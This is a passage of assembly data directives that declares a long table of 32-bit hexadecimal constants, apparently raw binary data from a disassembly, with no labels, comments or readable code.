		dd 6B8E1677h, 0B4C599h,	1245D1DAh, 0EC578AFBh, 89D34C1Ch
		dd 0FC0FE041h, 0C1D93172h, 96CA62F9h, 5D0BD1D5h, 51A45B93h
		dd 0DD641457h, 772F0092h, 0BFB743D1h, 0B1CFDBA0h, 7317BD7Eh
		dd 0D70874CCh, 0DF851F9Ch, 0D2FDDA32h, 13E25470h, 0E84023F5h
		dd 4EB29FDEh, 5477EF26h, 0FE1B5A1Bh, 0A1804D8Ah, 0AF2CAEF0h
		dd 0F973A564h, 85567B56h, 0E291BBDDh, 3A9B2EF3h, 0F49AA701h
		dd 16A59FFBh, 52E01F37h, 3777FE0Ch, 8FAB56D1h, 66A35894h
		dd 45DF1D55h, 3BE668F0h, 3DDEEB45h, 0D8E7EA98h,	0C985DE6h
		dd 1D2E79EFh, 87E29E08h, 0BFF36BF6h, 94CF3091h,	834BF38h
		dd 64F25CBCh, 7C8D45D5h, 2AA1550Eh, 0F355F732h,	2E6E077Ch
		dd 1E240390h, 0D05B760Ah, 564BC111h, 9406AE38h,	0A754E5FDh
		dd 737D2591h, 1AE7ED14h, 0DEA0A93h, 0F2E4CFF9h,	2D2450CBh
		dd 0B59ADB4Ch, 9952BFAFh, 53CAA6DAh, 78852093h,	9769E71Fh
		dd 0DBE3FBF3h, 15E5331Fh, 56D7264Eh, 0B5F2A3BDh, 91BF6ED7h
		dd 66EB7A05h, 6B4F819Ch, 6E53C6CCh, 4B2137ECh, 176D8E4Bh
		dd 43F0BFEBh, 0B8074ACh, 656FF709h, 0C18920E0h,	6F4A63A0h
		dd 60A1CF59h, 6C6A9571h, 0FFB96D56h, 0D2B03935h, 0E31926F6h
		dd 9DDDABEDh, 9A4C711Bh, 0A8A6AD1Ah, 5EAFDA6Ah,	89021FB8h
		dd 612C54C7h, 0ED74B24Fh, 0CD74BC12h, 7BD197Fh,	92939A05h
		dd 0B18AF5E0h, 0F7716200h, 0B0797033h, 0FD13363Fh, 73A13154h
		dd 0A868C279h, 6550E9A1h, 58E72C3Fh, 23CB70A7h,	2B0E6E85h
		dd 0D15A70F4h, 0EE4CFEB7h, 73BB364Bh, 0EA5A316Ah, 0FEBAD3ACh
		dd 69B8AD42h, 87F084B2h, 0C0BB2CDEh, 6E02530Fh,	0CB32D5B7h
		dd 21F8152Dh, 8C24B9E7h, 4C0FE985h, 0C9A8FA9Ah,	0C136C727h
		dd 0E925992Fh, 0F67FC888h, 0C7F3E76Ah, 0FE5CC5E3h, 0C27E7765h
		dd 0F0538A27h, 90F5FAF2h, 0ECB9630Ah, 0D7145563h, 0E25D7E73h
		dd 20273CFCh, 0AFE759C3h, 2DFB2E7Bh, 0F176AB54h, 0FA819443h
		dd 0B7C35F3Ah, 913F275Ah, 8AEFA7ECh, 5270BDFFh,	5E0E3907h
		dd 0F1D0D1A3h, 7288F078h, 0F3F5EC9Dh, 0C4BCCC8Bh, 2F5735C9h
		dd 0AF532D2Dh, 954727DFh, 806CE0F9h, 0E56DCA25h, 1E502A75h
		dd 76001D70h, 0FCD81970h, 818AA898h, 4446B56Bh,	0C2A1833Eh
		dd 0F27F95BFh, 0FFB9EBE1h, 0B27CD9E2h, 99458DBBh, 0BEB246Fh
		dd 11475211h, 839A9FD3h, 77CF5A4Ch, 0E5D94755h,	8FEF2203h
		dd 4FC8B5BAh, 0C8AF7EC4h, 0FD86CB11h, 0BE80FDAAh, 0F2DA654Bh
		dd 0EEFBD745h, 9B683933h, 7ED02989h, 0F82424CEh, 6AFCC5C4h
		dd 53A19D12h, 0F9A5B46Ah, 6C7021D7h, 6B203549h,	0FCCA3B88h
		dd 0A992C519h, 4BAC87Fh, 59CB427Dh, 0CDAAF26Ah,	0E560446Eh
		dd 47F63AA0h, 467AE110h, 0FA78600Bh, 0A8BFA83Eh, 32507B43h
		dd 1DDF9C86h, 14A974EDh, 7FBC3D2Eh, 80288B99h, 72FC8ADEh
		dd 3D1B728Bh, 1E1B70C9h, 0AAF18A09h, 30F4DC13h,	6667794Bh
		dd 8B2A5732h, 0D2AF4C54h, 43390CDFh, 2A559AF3h,	0FC84EBDBh
		dd 16675744h, 0A5F4C11Ch, 310E5C18h, 6CE54286h,	0B282275Fh
		dd 0BE84712h, 904F7626h, 5579C691h, 7F065DFCh, 0CF486CC4h
		dd 5C6839F5h, 9EC3A8ECh, 11C827E9h, 0C78140EDh,	0F9D2769Bh
		dd 652FF049h, 50660766h, 0EEB50BAFh, 0AD1C8344h, 0A38D0E55h
		dd 0E4CAEA27h, 3E068164h, 0ADDDD6ACh, 5382414Bh, 1AA0D62Dh
		dd 0A6AF7315h, 0F07628F8h, 2F962ABAh, 5FB4B3EEh, 0EBA92FAFh
		dd 9B134639h, 5C0F77A5h, 453B0676h, 0DF704467h,	30719F32h
		dd 517599EFh, 0FE53EB1Dh, 0E2362324h, 0F3FEC32Bh, 5169DBCEh
		dd 0DAE857BAh, 8D92EAADh, 0D956143Ah, 56EEB568h, 0E1A8E66Fh
		dd 0C3EB63C0h, 0DD1862A7h, 13A106A0h, 3087EB37h, 0F4A7BC60h
		dd 0D114E036h, 5C4203C3h, 0F743C44Bh, 3512A8F9h, 187498BFh
		dd 0CFA99C6Fh, 0B5CAE6A7h, 1F7A97C7h, 3B33ED1Dh, 0AF845FD2h
		dd 55ADC29Ah, 7C06701h,	0B11C343Dh, 2D52FEBAh, 23898289h
		dd 22655539h, 87D514FFh, 533F3335h, 532880B3h, 0B42B8ECBh
		dd 58DFD611h, 0DBB57EBDh, 58786D81h, 0E156F806h, 3CF1D116h
		dd 0F97F9D44h, 558666F7h, 0AE33897Fh, 6674A5FEh, 6D4E066h
		dd 0AC72256Bh, 569C6B6Bh, 0CF230EF8h, 1E07368Ah, 87DBF8B3h
		dd 72B77660h, 0F39ACF3Eh, 57F83013h, 3EAD663Ch,	52C08236h
		dd 89B52C2Dh, 3ABD6C1Fh, 0EE968484h, 0AFD633D3h, 0D0FC07BDh
		dd 8ABDE42Ch, 4A664CEAh, 0EA9F265Ah, 5FC4DF28h,	0A42CC11Fh
		dd 9896DB98h, 1728D92Ch, 4A62702Fh, 34EA95B1h, 2AC9AA63h
		dd 0C51C7E75h, 0D69C1F2h, 1C295FC5h, 44ADFF69h,	499AD879h
		dd 55D9F1F6h, 0AE95E32Ah, 7D18ACA9h, 9072E37Fh,	0CEE37F58h
		dd 793AA2FCh, 0B258E0A9h, 25E71D8Ch, 54D57CEDh,	3FDBC8C7h
		dd 2478DA4Ch, 0D947BCD0h, 7AF73B1h, 0E414E0BFh,	6944B18Dh
		dd 22C663DBh, 5DE57B5Ch, 4F40113Ah, 0D897D110h,	16D616B3h
		dd 60A097E6h, 83D1316Eh, 7F8E9920h, 3F9CCDA5h, 3B710F8Eh
		dd 228A85B4h, 5AC262F0h, 13C50304h, 161FA3C3h, 4647ABECh
		dd 88FEDFD7h, 2CE9EE0Bh, 0FC2B6560h, 0C9C942AFh, 2C96ABFAh
		dd 10C5A3CCh, 6D6F3667h, 0C3173B63h, 0D1ECEA33h, 2AABC4FEh
		dd 0DF0F80DBh, 81BCA5F0h, 0DD472C0Bh, 1670682Ch, 0AF01F492h
		dd 2B6348E1h, 0F4D5BF4Dh, 82512F9Ch, 3F1B7C10h,	0B957AD74h
		dd 57F90782h, 665FD73Dh, 1E855F36h, 41CA4981h, 33B6CA9Dh
		dd 2F6206D6h, 5C4D580Ah, 886C891Ah, 0FFCF1450h,	1EC57BFCh
		dd 6A39CA16h, 0A714B110h, 8F3DC884h, 8CAC764Eh,	3613F58Fh
		dd 0EB1EA8A5h, 9570C2B9h, 967D4F97h, 5A0A5BBDh,	0ED127D59h
		dd 9E872D18h, 2BB5A57Eh, 0AA7AF7B5h, 0D3DA7FACh, 0A8C66D2Bh
		dd 4820261Ch, 96AD0973h, 60C03BBAh, 1FAE7630h, 0F67DADBEh
		dd 92CF1290h, 0E0FB0B3Bh, 71F60DB2h, 0CF2B630Ah, 756191F1h
		dd 4D1B64Fh, 0ABE1A69Ah, 0B77C7162h, 2A88F090h,	8B98A765h
		dd 0C4EDEFDFh, 2D3995BEh, 0ED1CD1DCh, 303D0BB4h, 4F63A45Dh
		dd 1FD3B654h, 0BA27A83Bh, 85E04AACh, 6691309h, 0AA18AC9Fh
		dd 3B1854CBh, 0C6BE688Eh, 416BD279h, 2C506F75h,	1B7DC183h
		dd 62C40FDCh, 4EFBECABh, 54D733E9h, 0C6E60D24h,	7149CBB1h
		dd 8995EB19h, 4A772A13h, 0EFBF841Fh, 565C217Eh,	5258033Eh
		dd 7B48A890h, 82CE6BEAh, 3F7D5DC8h, 0E855CAF0h,	76EFCCAh
		dd 1D269DA3h, 0CBC1A749h, 0AC0477h, 0ED534FDFh,	0C9BA96F8h
		dd 9211B531h, 5687CBAEh, 274C9E0h, 5CBE72EFh, 2E57CAD1h
		dd 7D6F5371h, 9FDE952Ah, 69525260h, 0B65DE099h,	9DD68A08h
		dd 4FD2C9F2h, 12CB9A11h, 0FF22D0FAh, 0D6AC4DF0h, 0C6CC6A26h
		dd 0EFF5BBFFh, 6590562Eh, 0DC20BE37h, 86FD8467h, 3133808Dh
		dd 4B4D999Ch, 0F266165Dh, 87FBD4E1h, 4360A8F8h,	20C7DC47h
		dd 9520CF7Ah, 251F8C74h, 416B7AE1h, 703C0AF9h, 1F15B26Fh
		dd 0B9C4D23Eh, 1773BB0Ah, 0A45AC65Dh, 3D1B7BE6h, 12699F5Eh
		dd 0BFE13EFEh, 0A4A681A9h, 0A445DD2Bh, 6C8CB320h, 93C1D3F7h
		dd 0F03F7996h, 1B8ECDE5h, 5ED32DCCh, 0B660D55Dh, 95F52EE0h
		dd 5DD1F110h, 2D7118E4h, 0EAE137C9h, 36ABA486h,	7CD3CA1Bh
		dd 0BB2A02E9h, 7F0B43D9h, 0A1A11FE5h, 56575433h, 0B69BB5D3h
		dd 4CB37AD9h, 0E2849752h, 7DC2E2E9h, 9FB454E9h,	1179FFAFh
		dd 0D2ADF610h, 38581B3Ah, 561D3292h, 331618F9h,	1431AFB6h
		dd 7278FFD3h, 0AB835A67h, 0B4FF4DDEh, 814BCF8Fh, 6F294218h
		dd 7C6545C7h, 23E7A9BAh
		dd 4398E7DDh, 0D1A4F049h, 88E9A3Bh, 8E78303Dh, 0B9D8CA19h
		dd 0EFC308BAh, 0BD8A9F63h, 7DCAA567h, 0B1429185h, 0DE358653h
		dd 52207EBCh, 0DEE5D62Eh, 0B816F99Dh, 86F8DB8Dh, 7A37077Eh
		dd 3AFA958Ah, 51B41639h, 0D8252A89h, 0DFAF55A3h, 1467B70Bh
		dd 4B607FB4h, 0CAE969BEh, 0CE4DA84Ah, 33EDA699h, 1EE77347h
		dd 94943F1h, 0FF15E871h, 0F04ABCCFh, 0AD716A2Fh, 0F85EF7FAh
		dd 0E5D7CCFDh, 0FB6EAD47h, 0DCF640B8h, 0E2EEEF31h, 4B2E1ED1h
		dd 0A74359B6h, 0C2B82712h, 0CC8A5565h, 0A94A2BE7h, 0ED14BC26h
		dd 1F808C54h, 0BEA7D85Eh, 0AE60C5D4h, 8BC72816h, 0EFA07BDFh
		dd 3B752A02h, 0D1682BD3h, 0DE19A291h, 0DC1E698Ch, 5DE4C923h
		dd 0B8136A89h, 60D2F0B4h, 0AC14AA32h, 0C57B8E09h, 0CC5D9AECh
		dd 0C82D4E78h, 106B1CCBh, 0A38BDBDEh, 7E58B5A6h, 6284F7E0h
		dd 34AF8856h, 70E96597h, 15C4E78Fh, 0F936F9DCh,	0E59A0B67h
		dd 573566CBh, 9B5B9530h, 0DA2BA0A6h, 7B16F8FFh,	0C3AB0EFAh
		dd 0D5E827ABh, 0D5F81D81h, 12E315D2h, 532920EDh, 3DA4C05h
		dd 0EBF08843h, 194FB2C4h, 0AF6865C6h, 71CA9C42h, 47069C69h
		dd 547FFA43h, 106F98CAh, 266FFBDBh, 62C1F6AEh, 0BF1AC73Dh
		dd 4B02B66Ah, 0F03D67D1h, 0F739F78h, 579B58DCh,	9E89134Ah
		dd 1553C4C7h, 0BEACEDD6h, 3E05EA7h, 0BA505F77h,	0E00B8B60h
		dd 79311553h, 0FBC7E01Fh, 0ED62A820h, 136DEBAFh, 0D61ADADDh
		dd 0C34C2FBh, 2BF6038Eh, 0E413A2AFh, 0A2374B26h, 0D2B30BC4h
		dd 2A70F25Dh, 31DA99C9h, 3D0E8D14h, 7F9E5F46h, 2F5E36E3h
		dd 7C056530h, 0F202C5BFh, 3A9D43ABh, 7A614C0Fh,	3D81E898h
		dd 115C1DA5h, 93F45583h, 9E1B5119h, 0CAF3DE38h,	0A2BF664Fh
		dd 0BEA619E7h, 0C941BB9Fh, 0B87E6D62h, 70DA610Fh, 17FE363Ah
		dd 25D41B46h, 334D354h,	587FD5ADh, 22974707h, 55D45046h
		dd 0E6543345h, 909678F0h, 0EED23B4h, 5BD53AD3h,	0A52AD8D6h
		dd 0AFFC521Ch, 0B2954BABh, 35B66C84h, 996007F5h, 399C81ECh
		dd 59466DD4h, 57F3B399h, 5C83B9FFh, 3AD467CFh, 0BE960EA8h
		dd 0EDA31A8Ah, 68424756h, 96B124Dh, 8E169309h, 0F0A263A9h
		dd 0DE889AFBh, 0DD0A6DA2h, 0A531E7B8h, 0E7F8994Fh, 0FADEE50h
		dd 0EA69EFBCh, 55C25E79h, 5DB125B1h, 0F226311Bh, 0F73D993Fh
		dd 455556ADh, 0C166D0EDh, 0A354864Ah, 5298C0FFh, 57F4B9A0h
		dd 313E94D1h, 374CAB03h, 0EF9FDBACh, 0B6A88517h, 0C6BDABCCh
		dd 989317D9h, 0A0E2C153h, 0F8C6AEE7h, 0A252BF6Ah, 500D2C52h
		dd 21DC4B80h, 0BBA56EFCh, 91B34A38h, 1BF8D257h,	0C1C4C56Dh
		dd 0E4799599h, 1A9AF468h, 0A7731E22h, 935325A1h, 6878E160h
		dd 15DA4FB2h, 669DA1D6h, 0EB2BCE28h, 0C4A3DB34h, 9E55A2F8h
		dd 0D8F56FF9h, 0A6EEE540h, 1E48D1D1h, 0D13DFC33h, 0D8F365DEh
		dd 9EEA564Dh, 5D29F640h, 0CBD1A28Bh, 0B22787E2h, 22D31D04h
		dd 0CEB2C674h, 98C16F7Eh, 6855C070h, 0AA4623E4h, 0E139F6A6h
		dd 3CF55D55h, 0F24A3893h, 0EC4A91F1h, 52099DA3h, 0C6B25367h
		dd 0C977B3DAh, 0D5C6285Fh, 3E60BEACh, 6E4F9D19h, 39C0408Ch
		dd 0E1DAE37Fh, 2BCE20ABh, 0B1B1B7A6h, 0A999E86Ah, 0C0BFD5ADh
		dd 0C6F8BB5Eh, 0C0AD2749h, 91CCDC0h, 0FA07D692h, 63A61B6Ch
		dd 0E1F8C57Fh, 5176DBDEh, 0C2EF28ECh, 5D7E3C0Eh, 1E1EC840h
		dd 4440749h, 0C58A14ACh, 1599BE14h, 0DCF3D3A9h,	90DC43D0h
		dd 3BF8EFF3h, 906B97F2h, 8BF6A5F3h, 0C459E622h,	0D9420EC9h
		dd 3BC7DEC6h, 1BCE08F1h, 11819C1Fh, 0F6DA0F0Ah,	0C52EE551h
		dd 0FF358551h, 0AB499549h, 0D4AE6F64h, 5D3761BBh, 83F2520Ch
		dd 1B44D1B0h, 3EA4E890h, 703DA955h, 8E718DF0h, 0ED44BDB0h
		dd 182BD4F1h, 637E6552h, 0A3DFDD54h, 155CCA95h,	3EAF662Fh
		dd 2FE2980Ah, 0B476F7A6h, 0E39B9E45h, 0FAA8E533h, 4284215Eh
		dd 0F1DDC405h, 4C2DA9E2h, 67661665h, 5675F6E5h,	0CC9F9C36h
		dd 0AC41066h, 0E451CF27h, 897219D5h, 0F8B6F20Fh, 245B6FEEh
		dd 0B75A7BC9h, 890C6B68h, 0B9A164CFh, 5D9F66E4h, 0D39AA4A5h
		dd 96D2C4DFh, 0FC7F2FB4h, 2B4AD552h, 8E58C49Ah,	70D72FF7h
		dd 0FAE4EBCh, 6663D83Ch, 0FE24BAF7h, 0E4BEB08Ah, 0F7E98866h
		dd 5EF84557h, 0E26A446Ah, 72534CD9h, 0FF83D5BDh, 0AF5ACCE2h
		dd 2F7411C5h, 8A75203Fh, 0EE1009A3h, 7559ADA4h,	0C98DABC5h
		dd 26766628h, 8EB5C787h, 0CBC560CAh, 0B6EA5E71h, 3218AEBEh
		dd 549B43F1h, 269289Ch,	1D441EADh, 783CB7DDh, 7A7A959h
		dd 7672B876h, 0ACB68BADh, 195AE6B8h, 21FE8570h,	0D5441B83h
		dd 60FD8CB5h, 18655DEFh, 4B36669Eh, 5B4AF6Ah, 5F3F7D5Ah
		dd 2EF16BB5h, 0FF7CE6C1h, 0CD4E38CBh, 0E96BBCFBh, 0EC8D2EDFh
		dd 0CE28CC29h, 4AD33426h, 3E97C8D8h, 0E9631BE9h, 0D7282266h
		dd 8DE7CFE6h, 4596EF56h, 46CFDA2Ch, 0DB06A495h,	2C2DAD0Dh
		dd 34D0298Ch, 7C715F0Bh, 0EA975263h, 1BC714D0h,	631BDEDDh
		dd 3515D49Eh, 0D125A9A0h, 68522411h, 46EB657Ch,	0F8F94101h
		dd 0FD074EE1h, 0AE179D05h, 8370F356h, 0F1E8490Ch, 0F3B47871h
		dd 0FF159450h, 0F68BA7E2h, 1689F462h, 6EA6FF2Ah, 39550DDAh
		dd 0E8AE835Bh, 0DD6AA068h, 0B62AF419h, 31BB3A5Eh, 0E4C2492Fh
		dd 8D6826A6h, 0D09D46A5h, 6E03BCAEh, 62A35E78h,	3C5A4B45h
		dd 4C8663C6h, 8B22172Dh, 5D333E76h, 0B5FD77E0h,	8E7C781Fh
		dd 4F96C5D0h, 69552870h, 4D5723EEh, 0C3DF51F3h,	6BA02997h
		dd 21C3287Bh, 81D5FA95h, 88D0AF0Bh, 923E29EFh, 4D2DE88Ch
		dd 0B5B472D1h, 29EEC0F1h, 0B023DFCEh, 17CC605Ah, 0D6996B58h
		dd 3AC48BE7h, 0FD2E2943h, 0F44D1217h, 83AEEAB1h, 0ECCDA111h
		dd 0B5A30191h, 0DD4835DDh, 0E4CFE4B2h, 651F244Ah, 698231B6h
		dd 6A145A63h, 65DC8754h, 7B931890h, 7B0EF1A6h, 0D824AB68h
		dd 4B5DA3FFh, 5B1AADA2h, 7DDA47DCh, 0C2B1E3Ch, 0AF301524h
		dd 970C5EDBh, 0CFE73372h, 0B79A5FE1h, 3E5B1AEh,	0E6149749h
		dd 78D0C48h, 0D0F99FB7h, 0C3CA1063h, 5444C450h,	0CC1EC97Eh
		dd 0BACFE640h, 7844977Eh, 7B8B2A60h, 62F464F4h,	0F23E8703h
		dd 0E0AA6A9Ah, 0A22821C7h, 9B3D34EFh, 0C670732Eh, 8A8DADECh
		dd 61927910h, 27C8A2A9h, 63DF6616h, 0E2100DCAh,	8F2E572Bh
		dd 4CBC8960h, 6297AC0Bh, 85116662h, 1ADCB6ECh, 4F0F1BFDh
		dd 0CE24B945h, 7AEEE73Bh, 6AB6F5FEh, 6B3F7385h,	21F5EBD1h
		dd 0E5553445h, 95FECCC8h, 0DD921894h, 0DE11B59h, 37DA1BFDh
		dd 0EF4AAEF3h, 45462EEAh, 721F32D5h, 8F82C0F2h,	0B57C8D4h
		dd 3C374A1Bh, 62E848A5h, 9BD3AEF7h, 0A9645FF3h,	0F85CC817h
		dd 0EDB0989Ch, 5D02BF18h, 0F3B1A473h, 0C9772D1h, 0DF7D7729h
		dd 0B3CA123Fh, 7DE4F8F8h, 7910A5A6h, 2DFA0BA8h,	75F68B47h
		dd 537B696Dh, 9B0B17F5h, 749A9518h, 6F159356h, 0B991E0EAh
		dd 3DABEFA4h, 2FE0DC0Ch, 0FCB737B2h, 0ED40937Ah, 0D7DA5030h
		dd 0F673CAEAh, 9D38CD4Fh, 72FA6807h, 4EA7C6BBh,	2CC6E704h
		dd 4DFD9C73h, 5CE9931Ch, 61FFF763h, 929B0284h, 64824534h
		dd 1BCC771Fh, 2F76D199h, 0E7451E41h, 2D71810Ch,	0CEAF1B4Dh
		dd 45C18DBAh, 0D196384Ch, 17E56A8Dh, 0B2A7DF48h, 3EDA56CFh
		dd 0B9E3547Dh, 0A936E1DEh, 0BCBC4BABh, 0D0221CADh, 0C4B9277Fh
		dd 0C0994ED3h, 585FEE0Fh, 0B7D45566h, 7B85D0B0h, 0A1BE7371h
		dd 14EAFA54h, 78AA5575h, 0AAC3D4CDh, 849246FAh,	8AE1EE77h
		dd 0B54C360Bh, 6B44F059h
		dd 4E9EA955h, 0CFF39FF4h, 5337D115h, 64EBDEEDh,	3185D521h
		dd 0A855FDA2h, 945B4FE1h, 0D0ED45F6h, 0CB2937FEh, 8C141F6Eh
		dd 4763DE47h, 0B2D3EA7Eh, 0C7CA22BBh, 0D4146517h, 0FA9388F8h
		dd 853EEA5Bh, 7D259D41h, 0DB70F349h, 0ACD24DFFh, 8B2BBDBDh
		dd 0EA001759h, 0E6EF0D01h, 0CF97AC9Eh, 0D0FF0934h, 479281F3h
		dd 58AE7996h, 8B3D41EBh, 0E2272C19h, 514B3588h,	0D1ED39CAh
		dd 0F332FBBFh, 9C470AF1h, 98DA632h, 0CB51287Dh,	7F0962C6h
		dd 36A223BDh, 827A38D3h, 0F63A6C7Fh, 99D94351h,	0B3B5E442h
		dd 0FBE0FAA8h, 2AF7FE67h, 0AF48FAA3h, 0B47B2AA2h, 5C420951h
		dd 60F66A97h, 9BFAE403h, 4A1B0C5Ah, 3756E984h, 0CFE839C7h
		dd 93DD5BBDh, 91E7F1CCh, 89F65074h, 13966101h, 792D95BDh
		dd 7510A51Fh, 0C8551475h, 15C1CBA5h, 0D894465Bh, 458EA523h
		dd 0A65C6E85h, 78AF629Bh, 26E3111Bh, 0B97A11F6h, 2BAF8DB0h
		dd 0E1D4764Ah, 3B15FF29h, 0FBF587Eh, 0C2B76602h, 4CCF1F07h
		dd 6B418229h, 715F6302h, 5E1A078Dh, 0A2B01B71h,	3A6EE25Eh
		dd 8565FC6Dh, 0F463297Dh, 0CA84E286h, 0ED127EE7h, 9191C0FCh
		dd 0A6A6B867h, 66D703B9h, 0B533E301h, 0A8D59AE1h, 0E47064F3h
		dd 0A25F2A12h, 0FE262F89h, 0F1C4B54Ah, 998D064Dh, 0D1553326h
		dd 0AFC86D46h, 8E53ED80h, 4D30EA76h, 9AD4BA99h,	964ACF1Bh
		dd 0A00FA2B7h, 0E776AB8Eh, 0D0CC6A9Ch, 0E1968012h, 54B27919h
		dd 0F05CEE7Dh, 32AB525Bh, 12F1375Bh, 7F56CA96h,	1FCFF324h
		dd 96634CD2h, 986495F5h, 2C3FA777h, 7746FF80h, 0B0881143h
		dd 0B1180939h, 0FAB69ABDh, 1C55A22Ch, 556F17E7h, 0ACF92C99h
		dd 45A3A462h, 0F6EE6619h, 54B490B7h, 311E7315h,	259B13C3h
		dd 0AE862E31h, 49B5747Ah, 967F638Fh, 587EBF9Dh,	0F265BF72h
		dd 0D3EF2F21h, 12B08AE3h, 0FE927EBCh, 0CFCC6854h, 0E76EC030h
		dd 2626A636h, 5A4FAF95h, 0E36875D1h, 271AF5F6h,	0AEF8451h
		dd 0D8845529h, 0D87EC35Fh, 11552A19h, 974E2797h, 282E9524h
		dd 6CD9D46Ah, 0B13E0797h, 2FE65A39h, 0FDB3099Eh, 0DC2DC752h
		dd 2DAC4C87h, 0DEECD175h, 0B5DA021Ah, 0C9A11763h, 9CDEBDA3h
		dd 77B4E4C3h, 5ABE8D97h, 84DBEDD3h, 0FC397B23h,	6C0FE9C8h
		dd 5AFDE610h, 0E2A288E5h, 5E6467Bh, 9E8BCCD4h, 8FA3CEA2h
		dd 0F6157536h, 0CDD39985h, 0BDB2D43Fh, 4CEB9CE9h, 0B956AF4Eh
		dd 0F647E4ECh, 0BC5F5FF0h, 0A54AFF00h, 0B6B98DCAh, 0A2C9650Dh
		dd 5E2B4A8Dh, 0FB27A4A0h, 0DF452BACh, 38501FC2h, 500A01EDh
		dd 0D150131Eh, 0DCD9B869h, 6CDD4E68h, 19965AADh, 41581128h
		dd 74BE4132h, 8D576264h, 6BDE5A8Dh, 8A346555h, 0DD635FFCh
		dd 0B495FA66h, 199B03BCh, 0A70254B0h, 0BC6DB24Dh, 0F133FDDAh
		dd 92F50AF7h, 7D348614h, 0DA1615C5h, 4592BB37h,	0CE63C257h
		dd 474C3AC5h, 1719D48Fh, 0C4992261h, 94E50A6Ah,	0FD11ED83h
		dd 0FB81C27Eh, 44C04CFCh, 10AA8E21h, 592CF0F9h,	819DDE5h
		dd 7FF26FB4h, 0E6FE2D15h, 7BA324A7h, 4FE88D8Fh,	0FEC8EC3Fh
		dd 3C09D8B9h, 1FD84EF0h, 32BB6CA6h, 4AFF6658h, 5622D520h
		dd 5BE568F4h, 855E706Fh, 0F111BD1Ah, 0CE7C37D1h, 0FF36ACE8h
		dd 6196BC10h, 5B3B5998h, 69A89384h, 0CC2D3381h,	5E1977F7h
		dd 0A15E3EC6h, 46A8A824h, 0FF444112h, 43B05C38h, 0A6FCBC4Bh
		dd 0B24D6B4Eh, 0D182D7DEh, 0A9EA8E3Ah, 0F3D783DDh, 3BCD2267h
		dd 0CC8DD56h, 58B493EEh, 9C1F6DF8h, 0B29B4473h,	57F35C41h
		dd 674955C3h, 1A7A9731h, 0FA7248FFh, 17F9DC59h,	0FB3EA910h
		dd 0AB635545h, 518473A1h, 0A5C050DCh, 0B5EB1E49h, 0BFCFF5E6h
		dd 0E9BFD77Ch, 93806F99h, 0D93063E7h, 0A64E844Dh, 79D5A75Fh
		dd 0C04ECB1Dh, 4914B5C4h, 226718F0h, 2E6E2D9Bh,	675E05C6h
		dd 3E82818Ah, 47FD2ABFh, 852E8CB2h, 0F9F0B81Eh,	0C5355FC2h
		dd 9FF878CFh, 36CB5FE3h, 8285672Eh, 0EB97D2F9h,	3BBF3BFBh
		dd 9C0C080Fh, 1C267ACFh, 7A7D3C11h, 4B44BC45h, 44E59627h
		dd 5B969243h, 1DEB580Ah, 195DD5CDh, 2196FEA6h, 3FA3F622h
		dd 0CC04BA69h, 57156CFBh, 285DCEBAh, 0ADCFCD24h, 1E8DEA64h
		dd 0DFE54F45h, 0A2E5835Eh, 64CEC194h, 1E3360F4h, 0C8865DB1h
		dd 0F0793915h, 0D0BFE3C3h, 9F40F2A8h, 36C50E07h, 0EA3CF3DCh
		dd 0EE04FEF7h, 0BFB0FA70h, 0B33106CAh, 0DC39B8BEh, 9B8C571Bh
		dd 69179CE0h, 2DC3CF15h, 7ADA5897h, 0ACB65AD6h,	0B13B5008h
		dd 0FA5835CBh, 0E1AC6A26h, 0ED891562h, 0C9E77E0Ah, 0F99D54B2h
		dd 0E46F5E8Eh, 5DD6543Dh, 3465BAB1h, 5A8B4BFAh,	7E16D724h
		dd 96025D7h, 0D7A09893h, 56BF897Fh, 26B2B4FFh, 69F0AB8h
		dd 0FCB9CA9Dh, 708EE04Ah, 0AE0F7B97h, 66F83EB1h, 3B8EBDE0h
		dd 0B99B71F7h, 87E02FDDh, 3533AF46h, 5F1733F1h,	0D2CB84B4h
		dd 49F2FC2Fh, 86B681E3h, 9D249A31h, 0CD5B7A98h,	8B6D0A6Eh
		dd 0B78676F7h, 0BBA67561h, 0C7774B80h, 0FF7454D0h, 0DE9DBF12h
		dd 0CCB9C2D4h, 40BEEBF5h, 0F634DEB6h, 5FCC095Ah, 1350104Ah
		dd 795CBFE2h, 0B92BBB39h, 0EB356C53h, 0D763DA8Bh, 2564A435h
		dd 0ECE8A9BDh, 7F885E0Ch, 6E7C5516h, 0ED837BA0h, 9D78327Dh
		dd 266EFE75h, 7437F234h, 0AC89AA2Ch, 37CE65FEh,	775F5D6h
		dd 9802C3AFh, 5F4A21F5h, 0F433D3B6h, 6C1AF7EFh,	0CC1D8557h
		dd 75A7CF2Dh, 0AABE1447h, 33489598h, 58D5DCA6h,	0AC65C24Bh
		dd 0EDFF1396h, 53AD957Eh, 0AEBDA885h, 730B29C6h, 0EFB7688Ch
		dd 6697270Ch, 571A702Fh, 0E40BBA29h, 0C65D9E2Dh, 0A46971B2h
		dd 9933427Dh, 19BB5679h, 0CC31DCC9h, 0CDF327F1h, 2B068016h
		dd 231EE279h, 56D1D00Ch, 0B4995A0Dh, 0FCABED0h,	0C74E96DCh
		dd 99B82545h, 0BFE45C3h, 1863A3D5h, 6022AF1Eh, 7B3ADEB5h
		dd 0DEC5D047h, 294B2890h, 6FB40D3Bh, 5FBF7550h,	1EED1625h
		dd 525A45ADh, 0A83103C9h, 2CE8F68Fh, 0C898370Eh, 68F12957h
		dd 0CF0BFE7Ch, 2C4CBEF2h, 48626C63h, 413C1AA3h,	68FA6500h
		dd 74E885A1h, 69A9F726h, 14159FA6h, 486FBDF0h, 14AAD239h
		dd 7503B567h, 3EA63B0Ch, 98DC4C7h, 50B40E9Ch, 3B9D13B5h
		dd 653E6EF9h, 0F3349B7Dh, 8AF87F8Fh, 0A94B9C58h, 0C119D484h
		dd 10622C17h, 0AAC155C6h, 742AE698h, 41D8B98Eh,	12696A07h
		dd 0DADA0AA5h, 3BD75AAAh, 0FF457E60h, 7B1ACE46h, 663EA58Ch
		dd 619BCD95h, 0A21ABAB2h, 5F62A8ADh, 1E12FFF1h,	0C94B27CDh
		dd 0C0E4D7F3h, 2C856C39h, 0EA4BDE4h, 5F86FC7Eh,	40FF1EA6h
		dd 0B7DB7AE7h, 0F9C1A8D1h, 7E16D6C4h, 275FF320h, 6B5206B8h
		dd 0FDF192B3h, 4E27C0F2h, 4CE15E0Fh, 4176FB63h,	0A5F86B4Ah
		dd 7BF178D4h, 0A91D7554h, 0C0EFF7ECh, 33D84E62h, 0B8F99A3Fh
		dd 0C9EBDA2h, 0D6271F5Ah, 6E8948ADh, 1F274A61h,	6546ABECh
